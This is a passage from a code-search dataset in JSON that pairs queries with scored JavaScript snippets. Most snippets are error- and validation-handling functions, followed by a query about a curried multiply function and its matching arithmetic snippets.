{\n if (!this.has(field)) {\n continue;\n }\n var value = embed[field] || { embed: false };\n var err = this.get(field).errors(extend({}, options, value));\n if (Object.keys(err).length) {\n errors[field] = err;\n }\n }\n return extend({}, errors);\n }", "title": "" }, { "docid": "44142158049a0455dd0f5aec7f2fb08e", "score": "0.5703048", "text": "validate() {\n\n var is = this.is()\n\n if(is.err) return is\n\n var results = [],\n validator = this\n\n /*\n NOTE: rules are type options\n */\n Object.keys(this.options).forEach( (rule) => {\n\n let result = validator[rule](validator.options[rule])\n\n if(result.err) {\n result.err.ruleKey = rule\n results.push(result.err)\n }\n\n })\n\n if(results.length == 0) {\n return {valid: true}\n }\n\n return {\n err: results\n }\n\n }", "title": "" }, { "docid": "d93182e6efb9c7f04669699af1348df4", "score": "0.5661869", "text": "getFirstError() {\n return this.errors[0];\n }", "title": "" }, { "docid": "ac8b0645dfa2751509a12191b6f6bf34", "score": "0.56505495", "text": "get error() { return this._error; }", "title": "" }, { "docid": "eaa2d70e767a1fbb674b0627179744c8", "score": "0.562771", "text": "getErrorMessage (name, error) {\n return this.schema.getErrorMessage(name, error);\n }", "title": "" }, { "docid": "96ee1944e01cbf1858e06a5bbe38431f", "score": "0.5621912", "text": "get error() {\n return this._error;\n }", "title": "" }, { "docid": "8360f566a3f56858327ff4092dccb070", "score": "0.56115294", "text": "getErrorMessages() {\n return this.errors.map((err) => err.messages.map(msg => msg + \"\\n\"));\n }", "title": "" }, { "docid": "a50e9242a159e821029c25d91d9c95e1", "score": "0.5606733", "text": "getError() {\n return null;\n }", "title": "" }, { "docid": "3571763abdacfcafebc56855603d6471", "score": "0.56026644", "text": "function inputErrors(errors) {\n return new InputErrors(errors);\n }", "title": "" }, { "docid": "161fb2e8e6c37edc7a86d032a9a11b84", "score": "0.5583373", "text": "function _NewErrorResult( errors ) {\n var res = new _AuthenticationManagerBackendResult();\n\n res.hasErrors = true;\n res.errors = errors;\n\n return res;\n}", "title": "" }, { "docid": "c225230f285cd4482a84eacd6af10c12", "score": "0.55812025", "text": "function getError() {\n return makeCopy(operationError);\n }", "title": "" }, { "docid": "254ab61266431bcf01a7fb2723ac63d6", "score": "0.5572593", "text": "get error() {\n return this._error;\n }", "title": "" }, { "docid": "58a7a0861f8481de29a688eefcfb4209", "score": "0.5542736", "text": "get errors() {\n return this.#errors\n }", "title": "" }, { "docid": "429b859eb21135a953abe47b5b2ed743", "score": "0.55118704", "text": "errorObject() {\n const validationErrors = this.isPointValid().validationErrors;\n return validationErrors.reduce( ( errorObject, error ) => {\n let field = '';\n if ( error.dataPath === '' ) {\n field = error.params.missingProperty;\n } else {\n const errorPath = error.dataPath.split( '.' );\n field = errorPath[ errorPath.length - 1 ];\n }\n errorObject[ field ] = error;\n return errorObject;\n }, {} );\n }", "title": "" }, { "docid": "d9f5d39feb86421d67c0dcd17fa00e4b", "score": "0.54957074", "text": "function buildResult(errors,data) {\n\n var result;\n\n if (errors.length != 0){\n result = {\n errors : errors,\n errorsOccurred : \"True\"\n };\n }\n else{\n result = {\n data : data,\n errorsOccurred : \"False\"\n };\n }\n return(result);\n}", "title": "" }, { "docid": "21e9f75e7cd883c8b09164bf1a0cde1a", "score": "0.5488203", "text": "function getRuleResults(result) {\n return result.formattedResults.ruleResults;\n}", "title": "" }, { "docid": "67303ecb301eb82123aaf66238d46982", "score": "0.5487442", "text": "init() {\n this._super();\n\n const errorSources = get(this, 'errorSources') || [];\n\n defineProperty(this, 'errors', computed('primaryErrors', ...errorSources, {\n get() {\n const out = (get(this, 'primaryErrors') || [] ).slice();\n let i, more;\n\n for ( i = 0 ; i < errorSources.length ; i++ ) {\n more = get(this, errorSources[i]);\n if ( more ) {\n out.addObjects(more);\n }\n }\n\n if ( out.length ) {\n return out;\n }\n\n return null;\n },\n\n set() {\n throw new Error('Set primaryErrors or add a new entry to errorSources instead of editing errors directly');\n }\n }));\n }", "title": "" }, { "docid": "b9d36911ca76da945efdb13b244daaea", "score": "0.5483885", "text": "function SpokesError( obj )\n{\n this.Type = obj[\"Type\"];\n this.Description = obj[\"Description\"];\n this.Error_Code = obj[\"Error_Code\"];\n}", "title": "" }, { "docid": "5dc085139f1e67d9ff742f3de59e77c5", "score": "0.54525983", "text": "function ErrorCodes() {\r\n\tthis.ERRORS_NUMBER = 26;\r\n\tthis.error = new Array(this.ERRORS_NUMBER);\r\n}", "title": "" }, { "docid": "afbeb834b675cd830097d15ae4d23090", "score": "0.5420086", "text": "function getCSV() {\n return errors;\n}", "title": "" }, { "docid": "578bbda1eb13a2926916f406e3a3154e", "score": "0.53858364", "text": "function checkForErrors(error, result) {\r\n\t\t\t//If there is an error, we return an error\r\n\t\t\tif (error) {\r\n\t\t\t\treturn callback(error);\r\n\t\t\t}\r\n\t\t\t//No errors in the error parameter, let's look in the response\r\n\t\t\tlog.debug('parsing errors ...');\r\n\t\t\tvar errorReader = new XmlReader (result, atlasDefaults.errorDescriptionMap);\r\n\t\t\terrorReader.readObjects(function(errorParsing, parsedErrors){\r\n\t\t\t\tif ('ErrorList' in parsedErrors) {\t//There were errors coded in the response\r\n\t\t\t\t\tvar errorToSend = {\r\n\t\t\t\t\t\terror: '004-bad-request',\r\n\t\t\t\t\t\tstatusCode: 400,\r\n\t\t\t\t\t\tdescription: 'Faulty TicketValuation request made to Atlas. See stack trace for details',\r\n\t\t\t\t\t\tcontact: '[email protected]'\r\n\t\t\t\t\t};\r\n\t\t\t\t\tif (debug) {\r\n\t\t\t\t\t\terrorToSend.stack = JSON.stringify(parsedErrors.ErrorList);\r\n\t\t\t\t\t}\r\n\t\t\t\t\treturn callback(errorToSend);\r\n\t\t\t\t}\r\n\t\t\t\tlog.debug('No errors. Parsing response ...');\r\n\t\t\t\tvar xmlReader = new XmlReader (result, descriptionMap, tag);\r\n\t\t\t\txmlReader.readObjects(function(errorParsing, parsedResponse) {\r\n\t\t\t\t\tif (errorParsing) { //something went wrong when parsing\r\n\t\t\t\t\t\tif (debug) {\r\n\t\t\t\t\t\t\terrorParsing.stack = result;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\treturn callback(errorParsing);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tcallback(null, parsedResponse);\r\n\t\t\t\t});\r\n\t\t\t});\r\n\t\t}", "title": "" }, { "docid": "458612fea3febe772864cee8fd900509", "score": "0.5365593", "text": "function getErrorMsg() {\n //this can be null if no property was assigned\n if (scope.currentProperty) {\n //first try to get the error msg from the server collection\n var err = serverValidationManager.getPropertyError(umbPropCtrl.getValidationPath(), null, \"\", null);\n //if there's an error message use it\n if (err && err.errorMsg) {\n return err.errorMsg;\n }\n else {\n return scope.currentProperty.propertyErrorMessage ? scope.currentProperty.propertyErrorMessage : labels.propertyHasErrors;\n }\n\n }\n return labels.propertyHasErrors;\n }", "title": "" }, { "docid": "eed6b16a52121ac03d2f573c9ca57733", "score": "0.5359647", "text": "collectErrors() {\n var _this2 = this;\n\n let getErrors = function (doc) {\n let prefix = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : [];\n\n let errors = [];\n\n for (let name in doc.$schema.fields) {\n let field = doc[`$${ name }`];\n\n if (field.errors.length > 0) {\n errors.push({\n path: prefix.concat([field.name]),\n errors: field.errors\n });\n }\n\n if (field.value instanceof _this2.constructor) {\n errors.push(...getErrors(field.value, prefix.concat(field.name)));\n } else if ((0, _typeable.isArray)(field.value)) {\n field.value.forEach((d, i) => {\n if (d instanceof _this2.constructor) {\n errors.push(...getErrors(d, prefix.concat([field.name, i])));\n }\n });\n }\n }\n\n return errors;\n };\n\n return getErrors(this);\n }", "title": "" }, { "docid": "b560640b5a2302c181decee71bc125bf", "score": "0.5357093", "text": "get errInfo() {\n return this[kServerError].errInfo;\n }", "title": "" }, { "docid": "b560640b5a2302c181decee71bc125bf", "score": "0.5357093", "text": "get errInfo() {\n return this[kServerError].errInfo;\n }", "title": "" }, { "docid": "076fa2cfa9ed5f5986693c8c3dd7f409", "score": "0.53465354", "text": "function ValidationErrors( json ) {\n debug( \"json:\", json );\n var isValid = validate( json );\n debug( \"isValid: \" + isValid );\n if( isValid ) return null;\n\n // fall through else to reformat array to JSON\n debug( \"Errors: \" + validate.errors[0] );\n return validate.errors[0];\n}", "title": "" }, { "docid": "6fc43ed2c515b5b68677bbb65ed8e028", "score": "0.5337174", "text": "function setValidationState(result) {\n setErrors(result.errors);\n return result;\n }", "title": "" }, { "docid": "6e0a3969aa3d0186fa3fef4cfa1ddc5c", "score": "0.5336973", "text": "function validationResultErrorHandling(errors, res, req) {\n // holds all the errors in one text\n var errorText = '';\n \n // add all the errors\n for(var x = 0; x < errors.array().length; x++) {\n // if not the last error\n if(x < errors.array().length - 1) {\n errorText += errors.array()[x].msg + '\\r\\n';\n }\n else {\n errorText += errors.array()[x].msg;\n }\n }\n\n // send bad request\n var err = new Error(errorText);\n res.status(400).send({ title: errorHandler.getErrorTitle({ code: 400 }), message: errorText });\n errorHandler.logError(req, err);\n}", "title": "" }, { "docid": "adc2af32154cbcd560459ba5ab656f39", "score": "0.5336549", "text": "get Error() {}", "title": "" }, { "docid": "0fa22262101b393b47fe4311a6e2ac3d", "score": "0.532866", "text": "function ErrorsDisplay() {\n let errorsDisplay = null;\n\n if (errors.length) {\n errorsDisplay = (\n <div className=\"validation--errors\">\n <h2>Validation error(s)</h2>\n <div>\n <ul>\n {errors.map((error, i) => <li key={i}>{error}</li>)}\n </ul>\n </div>\n </div>\n );\n }\n\n return errorsDisplay;\n }", "title": "" }, { "docid": "156a75f8090a605745964a31aeb3ec70", "score": "0.5326016", "text": "get errorMessage() {\n return this.i.lp;\n }", "title": "" }, { "docid": "6312b5194a1a8bfc0293e320ed03a07f", "score": "0.5322117", "text": "function getErrorMessage(err) {\n if (err) {\n var errors = [];\n if (err.name === \"ValidationError\") {\n for (field in err.errors) {\n errors.push(err.errors[field].message);\n }\n }\n return errors;\n }\n}", "title": "" }, { "docid": "8cc3f337b4b241a440afbf8c6d021f55", "score": "0.5314614", "text": "function setValidationState(result) {\n errors.value = result.errors;\n meta.valid = !result.errors.length;\n return result;\n }", "title": "" }, { "docid": "8cc3f337b4b241a440afbf8c6d021f55", "score": "0.5314614", "text": "function setValidationState(result) {\n errors.value = result.errors;\n meta.valid = !result.errors.length;\n return result;\n }", "title": "" }, { "docid": "ca329591028cc79f50944e1ad88f0f6d", "score": "0.5305847", "text": "function validationErrors(errors) {\r\n\tif (errors) {\r\n\t\terrors = eval(errors);\r\n\t} else {\r\n\t\treturn \"\";\r\n\t}\r\n\tif (errors.defaultMessage) {\r\n\t\treturn errors.defaultMessage;\r\n\t}\r\n\tvar msg = \"\";\r\n\tif (errors.length && errors.length > 0) {\r\n\t\tfor ( var i in errors) {\r\n\t\t\tmsg += errors[i].defaultMessage + \";\";\r\n\t\t}\r\n\t}\r\n\treturn msg;\r\n}", "title": "" }, { "docid": "f6a413969fd0f24320f0e8cd50edeabb", "score": "0.5305039", "text": "function getErrorMessages(errors) {\n\t\t\t\t\treturn errors.map(function(error) {\n\t\t\t\t\t\treturn error.message;\n\t\t\t\t\t});\n\t\t\t\t}", "title": "" }, { "docid": "48e872e84f8310ce1e1ad490a7f6990c", "score": "0.52878743", "text": "get errmsg() {\n return this[kServerError].errmsg;\n }", "title": "" }, { "docid": "48e872e84f8310ce1e1ad490a7f6990c", "score": "0.52878743", "text": "get errmsg() {\n return this[kServerError].errmsg;\n }", "title": "" }, { "docid": "3c4a97644bf91d456e6e13f888080bd1", "score": "0.52846694", "text": "async getCodeErrors () {\n\t\tconst codeErrorIds = this.models.reduce((codeErrorIds, post) => {\n\t\t\tif (post.get('codeErrorId')) {\n\t\t\t\tcodeErrorIds.push(post.get('codeErrorId'));\n\t\t\t}\n\t\t\treturn codeErrorIds;\n\t\t}, []);\n\t\tif (codeErrorIds.length === 0) {\n\t\t\treturn;\n\t\t}\n\t\tthis.codeErrors = await this.data.codeErrors.getByIds(codeErrorIds);\n\t\tthis.responseData.codeErrors = this.codeErrors.map(codeError => codeError.getSanitizedObject({ request: this }));\n\t}", "title": "" }, { "docid": "fe9ef7ed98f27c5c779eaa0f889738bf", "score": "0.5274848", "text": "get errorDescription() {\n return this._errorDescription;\n }", "title": "" }, { "docid": "5b11597d0f30a45ebc84767845ff29e2", "score": "0.5273144", "text": "function MultiError(errors) {\n\tmod_assertplus.array(errors, 'list of errors');\n\tmod_assertplus.ok(errors.length > 0, 'must be at least one error');\n\tthis.ase_errors = errors;\n\n\tVError.call(this, {\n\t\t'cause': errors[0]\n\t}, 'first of %d error%s', errors.length, errors.length == 1 ? '' : 's');\n}", "title": "" }, { "docid": "a58280922e4680918ada977a6e1b2922", "score": "0.527302", "text": "function getErrorMessages(error) {\n var msg = error.message;\n if (msg.match(/validation error/i)) {\n return getValidationMessages(error);\n }\n return msg;\n }", "title": "" }, { "docid": "4130b27c2cc27adf221fca985edda57b", "score": "0.52725303", "text": "getLastErrorMessage(){ /** todo */ }", "title": "" }, { "docid": "f5dee6b6f9aab068b2edde467d19a273", "score": "0.52666235", "text": "function MultiError(errors)\r\n{\r\n\tmod_assertplus.array(errors, 'list of errors');\r\n\tmod_assertplus.ok(errors.length > 0, 'must be at least one error');\r\n\tthis.ase_errors = errors;\r\n\r\n\tVError.call(this, {\r\n\t 'cause': errors[0]\r\n\t}, 'first of %d error%s', errors.length, errors.length == 1 ? '' : 's');\r\n}", "title": "" }, { "docid": "3a7ba2eff7a7b0c81d6eb8b8077373c0", "score": "0.52582437", "text": "function sieveError(result){\n if(1!=result.length){\n return \"Multiple locations returned\";\n }else if(\"ROOFTOP\" != result[0].geometry.location_type){\n return \"Address not ROOFTOP quality\";\n }else if(result[0].partial_match){\n return \"Only found a partial match\";\n }else{\n return \"Unspecified failure\";\n }\n \n }", "title": "" }, { "docid": "d8ba5653f56247bf04c153be8e9a7963", "score": "0.52507496", "text": "displayErrors() {\n return this.errors.map(function(err) {\n return err.message + \" (-\" + err.points + \"%)\";\n }).join(\"\\n\");\n }", "title": "" }, { "docid": "1da6e41cfbabc1c270ef67fe8a001eb9", "score": "0.52500856", "text": "getWriteErrors() {\n return this.result.writeErrors;\n }", "title": "" }, { "docid": "1da6e41cfbabc1c270ef67fe8a001eb9", "score": "0.52500856", "text": "getWriteErrors() {\n return this.result.writeErrors;\n }", "title": "" }, { "docid": "550dad322c57548d14f8cc15e5dd8fa1", "score": "0.5247891", "text": "toJSON() {\n return this.errors.length ? { errors: this.errors } : null;\n }", "title": "" }, { "docid": "bfae91629328c622050cd6a9d13cf8c4", "score": "0.5246656", "text": "get errorResultHandlingType() {\n return this.__errorResultHandlingType.get();\n }", "title": "" }, { "docid": "2e3a4ad2fec9f5027bcf354cd8a3d594", "score": "0.5242036", "text": "function getErrors (fullPath) {\n var filePath = Paths.escape(fullPath);\n\n // Pass file to each parser.\n for (var parser in parsers) {\n if (parsers.hasOwnProperty(parser)) {\n parsers[parser].parse(filePath);\n }\n }\n }", "title": "" }, { "docid": "14fc591ee31aa0ff5753c2d3a8ae3dc1", "score": "0.52405405", "text": "constructor(errors) {\n super('Invalid data supplied');\n this.errors = errors;\n }", "title": "" }, { "docid": "fe206e062ee839144a0897a96bb46137", "score": "0.52394027", "text": "function getErrorsFromArray (errors) {\n\tfor (var i in errors) {\n\t\tif (errors[i]) {\n\t\t\treturn (errors[i]);\n\t\t}\n\t}\n\treturn null;\n}", "title": "" }, { "docid": "81364c2984cce5335facaaa02c899fe0", "score": "0.5237587", "text": "parseResult(result) {\n try {\n return JSON.parse(result);\n } catch (error) {\n this.addError('Error parsing clang-expand result', error);\n }\n }", "title": "" }, { "docid": "83379e281c4a4d5d5504de775b344517", "score": "0.52331233", "text": "finish() {\n let hasErrors = false;\n\n const output = ['Config file validation errors:\\n'];\n\n Object.keys(this.errors).forEach((type) => {\n if (this.errors[type].length > 0) {\n output.push(` #${type}:`);\n\n for (const error of this.errors[type]) {\n hasErrors = true;\n\n output.push(` - ${error}`);\n }\n }\n });\n\n if (hasErrors) {\n const err = new Error(output.join('\\n'));\n err.type = 'VALIDATION_ERROR';\n throw err;\n }\n }", "title": "" }, { "docid": "8521a05d0a2b10fdd5afb5463767cb5c", "score": "0.5232186", "text": "function getCompilerErrors(challengeID) {\n var url = base_url + '/get_compiler_errors?cid=' + challengeID;\n\n // Create the CORS request to the server\n var xhr = createCORSRequest('GET', url);\n if (!xhr) {\n console.log('CORS not supported on the current browser');\n return;\n }\n\n // Successfully got a response\n xhr.onload = function () {\n var response = xhr.responseText;\n\n if (response == 'error') { // Server had an error\n if (timeout_counter_errors < error_limit) { // Poll the database again\n timeout_counter_errors++;\n setTimeout(function () { getCompilerErrors(challengeID); }, timeout_get_errors);\n } else { // Polling has failed to many times, so there is a problem with the database\n timeout_counter_errors = 0;\n console.log('The database encountered an error while trying to get the compiler errors'\n + ' and warnings. Please try again later.');\n }\n } else {\n timeout_counter_errors = 0;\n var json = JSON.parse(response);\n var num_errors = json.errors;\n var num_warnings = json.warnings;\n var error_messages = json.error_messages;\n var warning_messages = json.warning_messages;\n\n console.log('num_errors: ' + num_errors +\n '\\nnum_warnings: ' + num_warnings +\n '\\nerror_messages: ' + error_messages +\n '\\nwarning_messages: ' + warning_messages);\n\n /* ****************************************************\n\n I HAVE THE INFO WHAT SHOULD I DO WITH IT?\n\n ******************************************************/\n }\n }\n\n xhr.onerror = function () {\n console.error('Woops, there was an error making the request.');\n };\n\n xhr.send();\n}", "title": "" }, { "docid": "8aae2139d643492fc2522446edd1de0d", "score": "0.5230057", "text": "get errmsg() {\n return this.message;\n }", "title": "" }, { "docid": "8aae2139d643492fc2522446edd1de0d", "score": "0.5230057", "text": "get errmsg() {\n return this.message;\n }", "title": "" }, { "docid": "59588bafbeb989723ef76cfa90bda138", "score": "0.52276134", "text": "function buildConditionErrors() {\n return [{\n errorMsg: authService.ERROR_USER_NOT_AUTHORIZED,\n errorCode: httpResponseConstants.HTTP_UNAUTHORIZED_ERROR,\n }, {\n errorMsg: callService.ERROR_CALL_NOT_FOUND,\n errorCode: httpResponseConstants.HTTP_CONFLICT,\n }, {\n errorMsg: callService.ERROR_CALL_BEGIN,\n errorCode: httpResponseConstants.HTTP_CONFLICT,\n }, {\n errorMsg: callService.ERROR_INITDATE_LATER,\n errorCode: httpResponseConstants.HTTP_CONFLICT,\n }, {\n errorMsg: callService.ERROR_INITDATE_ENDDATE,\n errorCode: httpResponseConstants.HTTP_CONFLICT,\n },\n ];\n}", "title": "" }, { "docid": "6304a9dc3a1ed433f8519b51868f5234", "score": "0.52264833", "text": "get errorDescription() {\n\t\t\treturn this._errorDescription;\n\t\t}", "title": "" }, { "docid": "beb061aed7c294323e3808a343a5fc78", "score": "0.5220805", "text": "get errorDescription() {\n \treturn this._errorDescription;\n \t}", "title": "" }, { "docid": "eebce2b0faefba91a7067d9bf2acea6a", "score": "0.5214697", "text": "function getValidationErrorMessage(errors) {\n\tconst errorsMessages = errors.array().map(err => `${err.param} : ${err.msg}`);\n\treturn errorsMessages.join(',')\n}", "title": "" }, { "docid": "221b3af664628d9fef2880e95e5e6363", "score": "0.52097106", "text": "function err(strm,errorCode){strm.msg=msg[errorCode];return errorCode;}", "title": "" }, { "docid": "d4607f3d4d19556e9e05ece1283f027b", "score": "0.5205276", "text": "function MultiError(errors)\n{\n\tmod_assertplus.array(errors, 'list of errors');\n\tmod_assertplus.ok(errors.length > 0, 'must be at least one error');\n\tthis.ase_errors = errors;\n\n\tVError.call(this, {\n\t 'cause': errors[0]\n\t}, 'first of %d error%s', errors.length, errors.length == 1 ? '' : 's');\n}", "title": "" }, { "docid": "d4607f3d4d19556e9e05ece1283f027b", "score": "0.5205276", "text": "function MultiError(errors)\n{\n\tmod_assertplus.array(errors, 'list of errors');\n\tmod_assertplus.ok(errors.length > 0, 'must be at least one error');\n\tthis.ase_errors = errors;\n\n\tVError.call(this, {\n\t 'cause': errors[0]\n\t}, 'first of %d error%s', errors.length, errors.length == 1 ? '' : 's');\n}", "title": "" }, { "docid": "d4607f3d4d19556e9e05ece1283f027b", "score": "0.5205276", "text": "function MultiError(errors)\n{\n\tmod_assertplus.array(errors, 'list of errors');\n\tmod_assertplus.ok(errors.length > 0, 'must be at least one error');\n\tthis.ase_errors = errors;\n\n\tVError.call(this, {\n\t 'cause': errors[0]\n\t}, 'first of %d error%s', errors.length, errors.length == 1 ? '' : 's');\n}", "title": "" }, { "docid": "d4607f3d4d19556e9e05ece1283f027b", "score": "0.5205276", "text": "function MultiError(errors)\n{\n\tmod_assertplus.array(errors, 'list of errors');\n\tmod_assertplus.ok(errors.length > 0, 'must be at least one error');\n\tthis.ase_errors = errors;\n\n\tVError.call(this, {\n\t 'cause': errors[0]\n\t}, 'first of %d error%s', errors.length, errors.length == 1 ? '' : 's');\n}", "title": "" }, { "docid": "d4607f3d4d19556e9e05ece1283f027b", "score": "0.5205276", "text": "function MultiError(errors)\n{\n\tmod_assertplus.array(errors, 'list of errors');\n\tmod_assertplus.ok(errors.length > 0, 'must be at least one error');\n\tthis.ase_errors = errors;\n\n\tVError.call(this, {\n\t 'cause': errors[0]\n\t}, 'first of %d error%s', errors.length, errors.length == 1 ? '' : 's');\n}", "title": "" }, { "docid": "d4607f3d4d19556e9e05ece1283f027b", "score": "0.5205276", "text": "function MultiError(errors)\n{\n\tmod_assertplus.array(errors, 'list of errors');\n\tmod_assertplus.ok(errors.length > 0, 'must be at least one error');\n\tthis.ase_errors = errors;\n\n\tVError.call(this, {\n\t 'cause': errors[0]\n\t}, 'first of %d error%s', errors.length, errors.length == 1 ? '' : 's');\n}", "title": "" }, { "docid": "d4607f3d4d19556e9e05ece1283f027b", "score": "0.5205276", "text": "function MultiError(errors)\n{\n\tmod_assertplus.array(errors, 'list of errors');\n\tmod_assertplus.ok(errors.length > 0, 'must be at least one error');\n\tthis.ase_errors = errors;\n\n\tVError.call(this, {\n\t 'cause': errors[0]\n\t}, 'first of %d error%s', errors.length, errors.length == 1 ? '' : 's');\n}", "title": "" }, { "docid": "d4607f3d4d19556e9e05ece1283f027b", "score": "0.5205276", "text": "function MultiError(errors)\n{\n\tmod_assertplus.array(errors, 'list of errors');\n\tmod_assertplus.ok(errors.length > 0, 'must be at least one error');\n\tthis.ase_errors = errors;\n\n\tVError.call(this, {\n\t 'cause': errors[0]\n\t}, 'first of %d error%s', errors.length, errors.length == 1 ? '' : 's');\n}", "title": "" }, { "docid": "d4607f3d4d19556e9e05ece1283f027b", "score": "0.5205276", "text": "function MultiError(errors)\n{\n\tmod_assertplus.array(errors, 'list of errors');\n\tmod_assertplus.ok(errors.length > 0, 'must be at least one error');\n\tthis.ase_errors = errors;\n\n\tVError.call(this, {\n\t 'cause': errors[0]\n\t}, 'first of %d error%s', errors.length, errors.length == 1 ? '' : 's');\n}", "title": "" }, { "docid": "7c23bd029aa00a99e7148f94fd173b8f", "score": "0.52011", "text": "default(errorType) {\n let active_class = this.getClass();\n let errorMessages = {\n required: '<span class=\"' + active_class + '\">This field is required.</span>',\n min: '<span class=\"' + active_class + '\">This field length is too low.</span>',\n max: '<span class=\"' + active_class + '\">This field length is exceeds the limit.</span>',\n password: '<span class=\"' + active_class + '\">Password does not match.</span>',\n email: '<span class=\"' + active_class + '\">Email is not valid.</span>',\n file: '<span class=\"' + active_class + '\">This file is not allowed.</span>'\n };\n if (typeof errorType !== 'string') return false;\n if (typeof errorMessages[errorType] === 'undefined') return false;\n return errorMessages[errorType];\n }", "title": "" }, { "docid": "9cf2a5ccd869c8ad4a19ad7d8aac2313", "score": "0.5185776", "text": "function MultiError(errors)\n{\n\tmod_assert.ok(errors.length > 0);\n\tthis.ase_errors = errors;\n\n\tVError.call(this, errors[0], 'first of %d error%s',\n\t errors.length, errors.length == 1 ? '' : 's');\n}", "title": "" }, { "docid": "9cf2a5ccd869c8ad4a19ad7d8aac2313", "score": "0.5185776", "text": "function MultiError(errors)\n{\n\tmod_assert.ok(errors.length > 0);\n\tthis.ase_errors = errors;\n\n\tVError.call(this, errors[0], 'first of %d error%s',\n\t errors.length, errors.length == 1 ? '' : 's');\n}", "title": "" }, { "docid": "9cf2a5ccd869c8ad4a19ad7d8aac2313", "score": "0.5185776", "text": "function MultiError(errors)\n{\n\tmod_assert.ok(errors.length > 0);\n\tthis.ase_errors = errors;\n\n\tVError.call(this, errors[0], 'first of %d error%s',\n\t errors.length, errors.length == 1 ? '' : 's');\n}", "title": "" }, { "docid": "9cf2a5ccd869c8ad4a19ad7d8aac2313", "score": "0.5185776", "text": "function MultiError(errors)\n{\n\tmod_assert.ok(errors.length > 0);\n\tthis.ase_errors = errors;\n\n\tVError.call(this, errors[0], 'first of %d error%s',\n\t errors.length, errors.length == 1 ? '' : 's');\n}", "title": "" }, { "docid": "15446c42399ea5d20865a99bc546a6d1", "score": "0.51817554", "text": "function sacarErrores(errorResponse){\n const errorjson = errorResponse.responseJSON;\n const keys = Object.keys(errorjson);\n let msjs = [];\n keys.forEach(function(k){\n const list_msjs = errorjson[k];\n list_msjs.forEach(function(str){\n msjs.push(parseError(str));\n });\n });\n return msjs;\n}", "title": "" }, { "docid": "42359c82558afbf4a603989a5d20adbe", "score": "0.5170142", "text": "function _parseErrors(ajvErrors) {\n // deep copy is needed as we have to assign custom error description\n const parsedErr = Object.assign({}, errors.MalformedPolicyDocument);\n parsedErr.description = 'Syntax errors in policy.';\n ajvErrors.some(err => {\n const resource = err.dataPath;\n const field = err.params ? err.params.missingProperty : undefined;\n const errType = err.keyword;\n if (errType === 'type' && (resource === '.Statement' ||\n resource === '.Statement.Resource' ||\n resource === '.Statement.NotResource')) {\n // skip this as this doesn't have enough error context\n return false;\n }\n if (err.keyword === 'required' && field && errDict.required[field]) {\n parsedErr.description = errDict.required[field];\n } else if (err.keyword === 'pattern' &&\n (resource === '.Statement.Action' ||\n resource === '.Statement.NotAction')) {\n parsedErr.description = errDict.pattern.Action;\n } else if (err.keyword === 'pattern' &&\n (resource === '.Statement.Resource' ||\n resource === '.Statement.NotResource')) {\n parsedErr.description = errDict.pattern.Resource;\n } else if (err.keyword === 'minItems' &&\n (resource === '.Statement.Resource' ||\n resource === '.Statement.NotResource')) {\n parsedErr.description = errDict.minItems.Resource;\n }\n return true;\n });\n return parsedErr;\n}", "title": "" }, { "docid": "ff95805826396b1c034277799f7c64b6", "score": "0.516826", "text": "formatErrors(errors) {\n if (Array.isArray(errors)) {\n return errors;\n }\n if (errors && errors.message) {\n return [errors];\n }\n return [{ message: 'Unknown error' }];\n }", "title": "" } ]
5aef192191caa08a6c19bcad85855e7b
Output will be 5. 3. Write a function that will allow you to do this? multiple(5)(6);
[ { "docid": "6f2034f065ba74fe334e767e4660e9e5", "score": "0.0", "text": "function multiply(x) {\n return function(y) { return x * y; };\n}", "title": "" } ]
[ { "docid": "b50e7fb2093b1d082c60720ce8fb492d", "score": "0.7749826", "text": "function multiple(number) {\n return number * 2\n}", "title": "" }, { "docid": "3b4f247a2ade1c5226c87d234ef26500", "score": "0.7289475", "text": "function numMulti (a, b, c) {\n let mul = a * b * c\n console.log (mul)\n}", "title": "" }, { "docid": "d15f121041dc933aeaffcd974403d5f0", "score": "0.7132329", "text": "function multiple(x) {\n function fn(y)\n {\n return x * y;\n }\n return fn;\n}", "title": "" }, { "docid": "28e257be5f65fce24206abd4b1f143c3", "score": "0.7088197", "text": "function multiTwo(five, ten) {\n return 5 * 10\n}", "title": "" }, { "docid": "6eb9d5ce24f33030e86b484662d9b55f", "score": "0.70799637", "text": "function multiThree(num1,num2,num3){\n return num1*num2*num3\n}", "title": "" }, { "docid": "8fa44543cb221726bb0de58a024ad222", "score": "0.6819025", "text": "function multy2(...numbers) {\n console.log(\n numbers.reduce(function(value,currentValue){\n return value * currentValue;\n })\n );\n}", "title": "" }, { "docid": "be330f67f98045bf6f9349a656b370c4", "score": "0.6809315", "text": "function multiplyThree( num1, num2, num3 ){\n console.log(\"Numbers to multipy:\", num1, num2, num3 )\n let total = num1 * num2 * num3;\n return total;\n}", "title": "" }, { "docid": "b65377750ad313757de9c527d41fbe12", "score": "0.68032485", "text": "function multiplyThree( a, b, c ){\n let multAnswer = a * b * c;\n return multAnswer;\n}", "title": "" }, { "docid": "acbdf0a0c3e34d223c72f52ca17682a6", "score": "0.678963", "text": "function My_First_Function5() {\r\n var multiple = (350 + 25) * 15 - 200 / 4;\r\ndocument.getElementById(\"Math5\").innerHTML = \"(350 + 25) * 15 - 200 / 4 = \" + multiple\r\n}", "title": "" }, { "docid": "756ff47b2d83617532687c5ebc43b961", "score": "0.677783", "text": "function multiply(num1,num2,num3) {\n console.log(num1*num2*num3);\n}", "title": "" }, { "docid": "b2b1394fad651f52880bf85511858807", "score": "0.67370564", "text": "function multBy (num) {\n return function (n) {\n return console.log(num*n)\n }\n}", "title": "" }, { "docid": "bd3f9bc26df0c6c7bca3a4c625f3e923", "score": "0.67328775", "text": "function multiple(a, b = 1) {\n return a * b;\n}", "title": "" }, { "docid": "d757815a5d6519b025f2e6ee19f8a37e", "score": "0.67213136", "text": "function multiplyThree(num1, num2, num3){\n return num1 * num2 * num3;\n}", "title": "" }, { "docid": "ec1887fc043df755346251dd16a6be25", "score": "0.66915166", "text": "function multiply(num1, num2){\r\n return num1 * num2;\r\n}// now we get output as 6.", "title": "" }, { "docid": "2e58498724c3336d69b7f7a9233d9d4f", "score": "0.6647605", "text": "function multiplyMultipleNumbers() {\n var product = 1;\n for (var i = 0; i < arguments.length; i++) {\n product *= arguments[i]\n }\n return product\n}", "title": "" }, { "docid": "e405ab4ee8ae71dd99ca433fd166b801", "score": "0.66187084", "text": "function mult(a, b){\n return a*b;\n}", "title": "" }, { "docid": "6fdb69b1b1d3311fefcda5ad3020b9ce", "score": "0.66149193", "text": 